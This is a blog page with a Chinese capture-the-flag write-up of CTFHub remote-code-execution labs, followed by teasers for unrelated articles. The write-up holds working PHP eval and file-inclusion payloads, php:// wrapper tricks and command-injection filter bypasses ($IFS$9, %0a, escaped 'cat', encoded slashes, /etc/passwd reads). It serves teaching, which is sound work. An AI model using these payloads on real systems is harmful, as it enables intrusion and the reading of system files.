当前位置：首页 > news >正文

CTFHub-RCE系列wp

news 来源：原创 2025/7/4 9:27:13

目录标题

- 引言
- - 什么是RCE漏洞
- eval执行
- 文件包含
- - 文件包含
  - php://input
  - 读取源代码
  - 远程包含
- 命令注入
- - 无过滤
  - 过滤cat
  - 过滤空格
  - 过滤目录分隔符
  - 过滤运算符
  - 综合过滤练习

引言

题目共有如下类型

什么是RCE漏洞

RCE漏洞，全称是Remote Code Execution漏洞，翻译成中文就是远程代码执行漏洞。顾名思义，这是一种安全漏洞，允许攻击者在受害者的系统上远程执行任意代码

eval执行

分析源码：

 <?php
if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
} else {highlight_file(__FILE__);
}
?>

执行命令查看当前目录

?cmd=system("ls");

?cmd=system("ls /");
?cmd=system("ls ../../../");

发现flag文件

cat /flag_8751即可

文件包含

源码审计

<?php
error_reporting(0);
if (isset($_GET['file'])) {                          //检查是否存在file参数且不为空if (!strpos($_GET["file"], "flag")) {            //过滤flag字符串include $_GET["file"];                       } else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?><hr>
i have a <a href="shell.txt">shell</a>, how to use it ?   //提示有个shell.txt文件，内容为 <?php eval($_REQUEST['ctfhub']);?>

利用文件包含读取shell.txt

先了解一下** $_REQUEST**函数，是PHP 中一个非常方便的超级全局变量，它处理来自用户输入的数据。具体来说，`$ _REQUEST` 变量包含了通过 GET、POST 和 COOKIE 方法传递的数据，所以可以利用POST或cookie传入ctfhub变量

查看根目录

查找flag

php://input

源码分析

<?php
if (isset($_GET['file'])) {                                //检查是否存在file参数if ( substr($_GET["file"], 0, 6) === "php://" ) {      //检查参数前6位是否为 php:// ，是则执行include($_GET["file"]);} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?>
// 给了应该phpinfo.php超链接

查看phpinfo.php文件，发现此处

抓包构造命令执行，因为有php://input，故会执行传入的php代码

查看flag

这里也可以利用php伪协议，会得到一串base64加密的flag，解密即可

或者：

读取源代码

源码审计

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 6) === "php://" ) {    //检查file参数是否以 php:// 开头include($_GET["file"]);} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);                            //代码高亮，显示源码
}
?>i don't have shell, how to get flag? 
flag in <code>/flag</code>                             //flag在根目录

php伪协议读取flag

?file=php://filter/read=/resource=/flag

远程包含

源码审计

<?php
error_reporting(0);
if (isset($_GET['file'])) {if (!strpos($_GET["file"], "flag")) {      //过滤flag字符串include $_GET["file"];} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?>

给了一个phpinfo()界面，根据题目提示，还是文件包含题，抓包利用php;//input读取

查看根目录

读取flag

命令注入

这里需要了解一下常见的命令分隔符
; : 无论前面是否执行，后面都执行
**||（逻辑或）：**前命令失败执行后命令，如果前命令成功则不执行后命令
**| ：**前者结果作为后者参数使用
**&& ：**前命令成功执行后命令，如果失败则不执行后命令
**\n：**换行符，url编码%0a
%0a （换行）
%0d （回车）

无过滤

没有做任何过滤

先ping一下

查看该目录，使用 127.0.0.1; ls 也是可以的

查看26398804916519.php

127.0.0.1 | cat 26398804916519.php

发现flag

过滤cat

查看源码：

<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {   $ip = $_GET['ip'];$m = [];if (!preg_match_all("/cat/", $ip, $m)) {           //过滤了cat字符串$cmd = "ping -c 4 {$ip}";                //windows默认ping4次，Linux不设置次数会一直pingexec($cmd, $res);} else {$res = $m;}
}

查看当前目录

因为cat被过滤了，此系统是linux操作系统，所以可以使用cat命令的平替，如 nl tac c\at less more tail 等

nl查看，得到flag

或者使用转义符 \ 绕过也可以得到flag，会将c\at 分为两个字符串，则绕过cat过滤

过滤空格

查看源码

<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/ /", $ip, $m)) {                 //只过滤了空格$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>

先查看当前目录，得到flag文件 flag_11971489425983.php

这里介绍几个绕过空格的方法

$IFS$9   %09    <>    <     {cat,flag}

可以绕过空格

127.0.0.1;cat$IFS$9flag_11971489425983.php

过滤目录分隔符

几种常见的 / 符号绕过方法

改变工作目录：cd xxx   避免使用 / 符号
环境变量截取： ${PATH:0:1}   ${HOME:0:1}
编码绕过：8进制： $(printf "\57")    16进制： $'\x2f'      $'\57'
调用命令生成：a=$(printf "/"); cat ${a}etc${a}passwd     cat  `echo /`etc`echo /`passwd
通配符替代(部分路径已知)：/???/cat /???/passwd            //匹配 /bin/cat
利用反斜杠：cat \/etc\/passwd
协议替代：file_get_contents('glob:///*');

提示：

源码

<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/\//", $ip, $m)) {         //过滤了 / 符号$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>

查看当前目录

进入该目录并查看

执行以下命令读取flag文件

127.0.0.1;cd flag_is_here;cat flag_29914267619184.php

得到flag

过滤运算符

查看源码，可以利用 **；**绕过

<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/(\||\&)/", $ip, $m)) {          //利用正则匹配过滤了 | 和 & $cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>

查看当前目录

执行以下命令

127.0.0.1;cat flag_4351260182213.php

得到flag

综合过滤练习

源码审计

<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {  //过滤了 | & ; 空格 / cat flag ctfhub$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>

利用换行符**%0a绕过**查看当前目录

查看根目录，没有有用信息，flag应该存在flag_is_here目录下

执行以下命令

?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0als         //flag被过滤，需要绕过

查看该flag

?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0anl$IFS$9f\lag_172132798218075.php  //绕过cat

CTFHub-RCE系列wp

目录标题引言什么是RCE漏洞 eval执行文件包含文件包含php://input读取源代码远程包含命令注入无过滤过滤cat过滤空格过滤目录分隔符过滤运算符综合过滤练习引言题目共有如下类型什么是RCE漏洞 RCE漏洞，全称是Remote Code Execution漏洞，翻译成中文…...

编程日记 2025/7/4 9:27:13

基于YoloV11和驱动级鼠标模拟实现Ai自瞄

本文将围绕基于 YoloV11 和驱动级鼠标实现 FPS 游戏 AI 自瞄展开阐述。需要着重强调的是，本文内容仅用于学术研究和技术学习目的。严禁任何个人或组织将文中所提及的技术、方法及思路应用于违法行为，包括但不限于在各类游戏中实施作弊等违规操作。若因违…...

编程日记 2025/7/3 13:03:43

基于微信小程序的博物馆预约系统的设计与实现

hello hello~ ，这里是 code袁~💖💖 ，欢迎大家点赞🥳🥳关注💥💥收藏🌹🌹🌹 🦁作者简介：一名喜欢分享和记录学习的在校大学生…...

编程日记 2025/7/4 0:47:19

R语言LCMM多维度潜在类别模型流行病学研究：LCA、MM方法分析纵向数据

全文代码数据：https://tecdat.cn/?p39710 在数据分析领域，当我们面对一组数据时，通常会有已知的分组情况，比如不同的治疗组、性别组或种族组等（点击文末“阅读原文”获取完整代码数据）。然而，…...

编程日记 2025/7/4 8:58:53

python卷积神经网络人脸识别示例实现详解

目录一、准备 1）使用pytorch 2）安装pytorch 3）准备训练和测试资源二、卷积神经网络的基本结构三、代码实现 1）导入库 2）数据预处理 3）加载数据 4）构建一个卷积神经网络 5&#xff0…...

编程日记 2025/6/29 23:34:07

如何把邮件批量导出到本地

最近遇到邮箱满了的问题，需要把邮件批量导出到本地，然后清空邮箱。问题是这个邮箱的官网，没有批量导出按钮，比较麻烦；总不能一封一封下载到本地，上万的。找到了一个好用的工具，Mozilla Thun…...

编程日记 2025/7/2 23:50:10

C++智能指针的使用

文章目录智能指针的使用和原理智能指针的使用场景RAII和智能指针C标准库智能指针的使用智能指针的使用和原理智能指针的使用场景 1. 下面的程序中，new了以后，我们也delete了，但是因为抛异常导致后面的delete没有得到执行，所以…...

编程日记 2025/7/3 1:09:25

Docker安装Redis

一、保证Docker提起来了 systemctl status docker想这没有启动要先启动一下 systemctl status docke二、拉取Redis（默认拉最新版） sudo docker pull redis检查一下拉成功没有 docker images三、创建相关目录 mkdir -p /home/redis/{conf,data}四、…...

编程日记 2025/7/1 17:46:25

深入理解MySQL索引底层数据结构

文章目录前言一、MySQL索引是什么？二、索引的核心需求三、MySQL为什么选择BTree做为数据结构1.如果使用的是Hash 做为数据结构2.如果使用二叉树做为数据结构3.使用红黑树做为数据结构4.使用B-Tree做为数据结构5.BTree做为数据结构 4.BTree深度剖析结构特性与 B-Tre…...

编程日记 2025/6/30 18:06:00

udp和tcp的区别

目录 UDP 和 TCP 的区别 1. 连接性 2. 可靠性 3. 数据传输顺序 4. 流量控制和拥塞控制 5. 效率 6. 应用场景 UDP 和 TCP 的 C/C 代码实现区别 1. TCP 服务器端和客户端 TCP 服务器端（Server） TCP 客户端（Client） 2. U…...

编程日记 2025/7/2 11:58:57

VMware 虚拟机 ubuntu 20.04 扩容工作硬盘

一、关闭虚拟机关闭虚拟机参考下图，在vmware 调整磁盘容量二、借助工具fdisk testubuntu ~ $ df -h Filesystem Size Used Avail Use% Mounted on udev 1.9G 0 1.9G 0% /dev tmpfs 388M 3.1M 385M 1% /run /dev/sda5 …...

编程日记 2025/6/28 12:14:16

MapReduce是什么？

MapReduce 是一种编程模型，最初由 Google 提出，旨在处理大规模数据集。它是分布式计算的一个重要概念，通常用于处理海量数据并进行并行计算。MapReduce的基本思想是将计算任务分解为两个阶段：Map 阶段和 Reduce 阶段。 Map 阶段&a…...

编程日记 2025/7/1 21:49:33

跨越边界，大模型如何助推科技与社会的完美结合？

点击蓝字关注我们 AI TIME欢迎每一位AI爱好者的加入！ 概述 2024年，大模型技术已成为人工智能领域的焦点。这不仅仅是一项技术进步，更是一次可能深刻影响社会发展方方面面的变革。大模型的交叉能否推动技术与社会的真正融合？2025年…...

编程日记 2025/7/1 23:24:39

计算机毕业设计SpringBoot校园二手交易小程序校园二手交易平台(websocket消息推送+云存储+双端+数据统计)(源码+文档+运行视频+讲解视频)

温馨提示：文末有 CSDN 平台官方提供的学长联系方式的名片！ 温馨提示：文末有 CSDN 平台官方提供的学长联系方式的名片！ 温馨提示：文末有 CSDN 平台官方提供的学长联系方式的名片！ 作者简介：Java领…...

编程日记 2025/7/3 23:53:52

RK3568平台开发系列讲解（ConfigFS篇）ConfigFS核心数据结构

🚀返回专栏总目录文章目录一、数据结构二、结构体关系三、案例3.1、configfs_subsystem 实例3.2、config_group 实例化四、属性和方法五、config_item实例化沉淀、分享、成长，让自己和他人都能有所收获！😄 理解 ConfigFS 的核心数据结构对于深入使用和定制 ConfigFS 非…...

编程日记 2025/6/28 12:36:32

【04】RUST特性

文章目录隐藏shadowing所有权ownership堆区&栈区所有权规则变量&数据Copy Trait与Drop TraitCopy TraitDrop Trait移动克隆函数参数与返回值的所有权参数引用可变引用悬垂引用slice生命周期隐藏shadowing 有点像同名覆盖 let mut guess = String::new();let guess: u3…...

编程日记 2025/6/27 21:20:39

c语言函数学习

C语言函数学习笔记：从入门到实践一、什么是函数？ 函数是C语言中用于封装特定功能的代码块，是模块化编程的核心。通过函数可以实现： 代码复用：避免重复编写相同逻辑逻辑清晰：将复杂程序分解为多个小模块…...

编程日记 2025/7/1 12:31:11

LSTM的介绍

网上一些描述LSTM文章看的云里雾里，只是介绍LSTM 的结构，并没有说明原理。我这里用通俗易懂的话来描述一下。我们先来复习一些RNN的核心公式： h t t a n h ( W h h t − 1 W x x t b h ) h_t tanh(W_h h_{t-1} W_x x_t b_h) httan…...

编程日记 2025/6/28 12:33:02

XML DOM

XML DOM XML DOM（Document Object Model）是一种用于访问和操作XML文档的标准方式。它提供了一种树形结构来表示XML文档，使得开发者能够方便地对XML数据进行读取、修改和操作。本文将详细介绍XML DOM的基本概念、结构、操作方法以及应用场景。一、XML DOM的基本概念 XML …...

编程日记 2025/6/29 14:59:50

认识网络安全

一网络攻击链踩点-工具准备-载荷投递-漏洞利用-释放载荷-建立通道-目标达成简化下： 目标侦察：准确识别目标，收集目标详细信息，比如网络、邮箱、员工、社会关系、对外提供服务、漏洞信息等，为后续攻击做准备。…...

编程日记 2025/7/1 16:01:13

华为支付-免密支付接入签约代扣场景开发步骤

一、预签约（服务器开发） 1.开发者按照商户模型调用预直连商户预签约或服务商预签约接口获取preSignNo构建签约信息参数contractStr。为保证支付订单的安全性和可靠性需要对请求body和请求头PayMercAuth对象内的入参排序拼接进行签名。请参考排序拼接和…...

编程日记 2025/7/1 14:27:08

9.JVM-方法区

前言这次所讲述的是运行时数据区的最后一个部分从线程共享与否的角度来看 ThreadLocal：如何保证多个线程在并发环境下的安全性？典型应用就是数据库连接管理，以及会话管理栈、堆、方法区的交互关系下面就涉及了对象的访问定位 Person&a…...

编程日记 2025/7/1 8:07:14

1.跨服务器移动文件 passwd=^T^bxxxx `/usr/bin/expect <<-EOF set timeout -1 spawn scp -r ${BATCH_TIME} sxnhtc@192.168.3.x:${EXP_MCRO_DIR}/ expect "*password:" send "$passwd\r" interact expect eof EOF` curl -k -X GET https://192.16…...

编程日记 2025/7/1 12:38:30

深入理解指针初阶：从概念到实践

一、引言在 C 语言的学习旅程中，指针无疑是一座必须翻越的高峰。它强大而灵活，掌握指针，能让我们更高效地操作内存，编写出更优化的代码。但指针也常常让初学者望而生畏，觉得它复杂难懂。别担心，本文将用通…...

编程日记 2025/7/3 8:21:04

Git 与 Git常用命令

Git 是一个开源的分布式版本控制系统，广泛用于源代码管理。与传统的集中式版本控制系统不同，Git 允许每个开发者在本地拥有完整的代码库副本，支持离线工作和高效的分支管理。每次提交时，Git 会对当前项目的所有文件创建一个快照&a…...

编程日记 2025/7/3 10:18:08

jupyterLab插件开发

jupyter lab安装、配置： jupyter lab安装、配置教程_容器里装jupyterlab-CSDN博客『Linux笔记』服务器搭建神器JupyterLab_linux_布衣小张-腾讯云开发者社区 Jupyter Lab | 安装、配置、插件推荐、多用户使用教程-腾讯云开发者社区-腾讯云 jupyterLab插件开发教…...

编程日记 2025/7/1 16:58:21

IDEA+DeepSeek让Java开发起飞

1.获取DeepSeek秘钥登录DeepSeek官网 : https://www.deepseek.com/ 进入API开放平台，第一次需要注册一个账号进去之后需要创建一个API KEY，然后把APIkey记录保存下来接着我们获取DeepSeek的API对话接口地址，点击左边的：接口…...

编程日记 2025/7/3 16:04:52

机器学习数学基础：19.线性相关与线性无关

一、线性相关与线性无关的定义 （一）线性相关想象我们有一组向量，就好比是一群有着不同“力量”和“方向”的小伙伴。给定的向量组 α ⃗ 1 , α ⃗ 2 , ⋯ , α ⃗ m \vec{\alpha}_1, \vec{\alpha}_2, \cdots, \vec{\alpha}_m α 1,α 2…...

编程日记 2025/6/28 11:49:21

快速集成DeepSeek到项目

DeepSeek API-KEY 获取登录DeekSeek 官网，进入API 开放平台 2. 创建API-KEY 复制API-KEY进行保存，后期API调用使用项目中集成DeepSeek 这里只展示部分核心代码，具体请查看源码orange-ai-deepseek-biz-starter Slf4j AllArgsConstructo…...

编程日记 2025/7/2 7:41:26

Rocketmq 和 Rabbitmq ，在多消费者的情况下，可以实现顺序消费吗

在多消费者的情况下，RocketMQ 和 RabbitMQ 都可以实现顺序消费，但它们的实现机制和适用场景有所不同。以下是对两者的详细分析和对比： 1. RocketMQ 的顺序消费 1.1 实现机制顺序消息：RocketMQ 支持顺序消息（Orderly …...

编程日记 2025/6/30 4:37:20

linux下安装【流媒体】SRS之安装与使用

一、安装srs 这个是一个流媒体服务器。 1.1 github 获取源码 git clone https://github.com/ossrs/srs.git 或者下载国内的 git clone https://gitee.com/ossrs/srs 进去之后下载zip的 #直接使用当前最新的6.0release版本 ，我下载的是zip的下载了之后上传到…...

编程日记 2025/6/30 16:49:13

Qt QSettings用法

一、概述 QSettings类是Qt框架中的一个重要类，它主要用于存储和访问应用程序的设置和配置。二、QSettings的构造方式 1、基于组织名和程序名的构造方式（主要用于Windows注册表） 1、explicit QSettings(const QString &organization,c…...

编程日记 2025/7/1 9:54:38

python学opencv|读取图像（六十）先后使用cv2.erode()函数和cv2.dilate()函数实现图像处理

【1】引言前序学习进程中，先后了解了使用cv2.erode()函数和cv2.dilate()函数实现图像腐蚀和膨胀处理的效果，相关文章链接为： python学opencv|读取图像（五十八）使用cv2.erode()函数实现图像腐蚀处理-CSDN博客 pytho…...

编程日记 2025/7/2 11:15:29

【大数据安全分析】大数据安全分析技术框架与关键技术

在数字化时代，网络安全面临着前所未有的挑战。传统的网络安全防护模式呈现出烟囱式的特点，各个安全防护措施和数据相互孤立，形成了防护孤岛和数据孤岛，难以有效应对日益复杂多变的安全威胁。而大数据分析技术的出现，为…...

编程日记 2025/6/30 15:54:43

[笔记.AI]Deepseek-R1 各参数版本的蒸馏模型对比

备注：信息主要通过Deepseek-R1获得（查询近一个月的在线资料并整理），然后我进行了相应整合。如有错误，希望指出，谢谢。 Deepseek-R1 蒸馏模型对比维度1.5B7B8B14B32B70B 特有的突破性能力▸ 毫秒级响应(0.3…...

编程日记 2025/7/1 19:15:21

JAVA面向对象2(三大特征)

面向对象的三大特征：封装、继承、多态封装： 封装，英文单词Encapsulation。从广义的角度来说，将一块经常要使用的代码片段，定义到方法中，是封装。将多个方法和多个状态数据定义到类体中，也是一…...

编程日记 2025/7/2 10:28:56

Spring Cloud工程完善

目录完善订单服务启动类配置文件实体类 Controller Service Mapper 测试运行完成商品服务启动类配置文件实体类 Controller Service Mapper 测试运行远程调用需求实现 1.定义RestTemplate 2.修改order-service中的OrderService 测试运行 Rest…...

编程日记 2025/7/3 11:24:54

AI大模型随机初始化权重并打印网络结构方法（以Deepseekv3为例，单机可跑）

背景当前大模型的权重加载和调用，主要是通过在HuggingFace官网下载并使用transformer的库来加以实现；其中大模型的权重文件较大（部分>100GB），若只是快速研究网络结构和数据流变化，则无需下载权重。本文…...

编程日记 2025/7/3 23:41:56

介绍下SpringBoot常用的依赖项

Spring Boot 是一个用于快速开发 Spring 应用程序的框架，它通过自动配置和依赖管理简化了开发过程。以下是一些 Spring Boot 项目中常用的依赖项： 1. Spring Boot Starter Web 作用: 用于构建 Web 应用程序，包括 RESTful 服务。依赖项: spr…...

编程日记 2025/7/1 19:47:16

第四节 docker基础之---dockerfile部署JDK

本地宿主机配置jdk 创建test目录： [rootdocker ~]# mkdir test 压缩包tomcat和jdk上传到root/test目录下： 本机部署Jdk 解压jdk： [rootdocker test]# tar -xf jdk-8u211-linux-x64.tar.gz [rootdocker test]# tar -xf apache-tomcat-8.5.…...

编程日记 2025/6/29 15:15:36

Vue基础：index.html、App.vue、main.js三个文件的联系

index.html、App.vue、main.js三个文件的联系当vue项目npm run dev启动成功后， 浏览器就可以通过路径访问页面，那么这个页面到底展示的是哪个文件里的内容呢？ 如果对前端vue有一定的基础知识，这篇文章可忽略。在vue项目的目录结…...

编程日记 2025/6/28 13:17:55

数据库绪论

目录数据库基本概念一.基本概念 1.信息 2.数据 3.数据库（DB） 4.数据库管理系统（DBMS） 5.数据库系统（DBS） 二.数据管理技术的发展 1.人工管理阶段 2.文件系统阶段 3.数据库系统阶段 4.数据库管…...

编程日记 2025/6/29 22:43:27

26~31.ppt

目录 26.北京主要的景点题目解析 27.创新产品展示及说明会题目解析 28.《小企业会计准则》题目解析 29.学习型社会的学习理念题目解析 30.小王-产品展示信息题目解析 31.小王-办公理念-信息工作者的每一天题目解析 26.北京主要的景点…...

编程日记 2025/6/30 12:55:45

AutoMQ 如何实现没有写性能劣化的极致冷读效率

前言追赶读（Catch-up Read，冷读）是消息和流系统常见和重要的场景。削峰填谷：对于消息来说，消息通常用作业务间的解耦和削峰填谷。削峰填谷要求消息队列能将上游发送的数据堆积住，让下游在容量范围内消费…...

编程日记 2025/7/2 4:35:13

启动gateway时Failed to configure a DataSource

问题在启动网关时候启动失败,报错: 原因很明显,就是没有配制数据库连接信息实际上是因为在网关模块中导入的某个依赖里面引入了MyBatis的依赖,导致启动的时候自动配置数据库源但是在这个网关模块中是不需要数据数据库的解决...

编程日记 2025/6/28 12:54:57

node 程序占用处理方法与后台运行方法

程序占用如果你在关闭终端后重新运行 node server.js，但提示端口 3000 被占用，说明之前的服务器进程仍然在后台运行。以下是解决方法： 1. 检查后台运行的 Node.js 进程首先，检查是否有 Node.js 进程正在占用端口 3000。在 L…...

编程日记 2025/7/1 18:44:36

C# OpenCV机器视觉:对位贴合

在热闹非凡的手机维修街上，阿强开了一家小小的手机贴膜店。每天看着顾客们自己贴膜贴得歪歪扭扭，不是膜的边缘贴不整齐，就是里面充满了气泡，阿强心里就想：“要是我能有个自动贴膜的神器，那该多好啊&#xf…...

编程日记 2025/7/3 5:56:51

【计算机网络】TCP/IP 网络模型有哪几层？

目录应用层传输层网络层网络接口层总结为什么要有 TCP/IP 网络模型？ 对于同一台设备上的进程间通信，有很多种方式，比如有管道、消息队列、共享内存、信号等方式，而对于不同设备上的进程间通信，就需要网络通…...

编程日记 2025/6/29 11:55:19

本地部署Deepseek R1

使用Ollama open-webui部署Deepseek R1 一、安装Ollama 官网地址：https://ollama.com/，点击下载按钮选择windows版本。并安装打开命令提示符输入ollama，出现一下提示命令表示ollama安装完成二、使用Ollama下载deepseek R1不同模型打开o…...

编程日记 2025/7/2 10:28:26

PHP盲盒商城系统源码晒图+免签+短信验证+在线回收 thinkphp框架

源码介绍 PHP盲盒商城系统源码晒图免签短信验证在线回收 thinkphp框架源码前端uniapp开发，可以打包成APP（非H5封壳）H5，接其他平台支付通道，前后端全开源 H5盲盒首页可以直接开盒新UI 修复优化BUG，修复无…...

编程日记 2025/7/1 14:01:08

目录标题

引言

什么是RCE漏洞

eval执行

文件包含

文件包含

php://input

读取源代码

远程包含

命令注入

无过滤

过滤cat

过滤空格

过滤目录分隔符

过滤运算符

综合过滤练习

相关文章：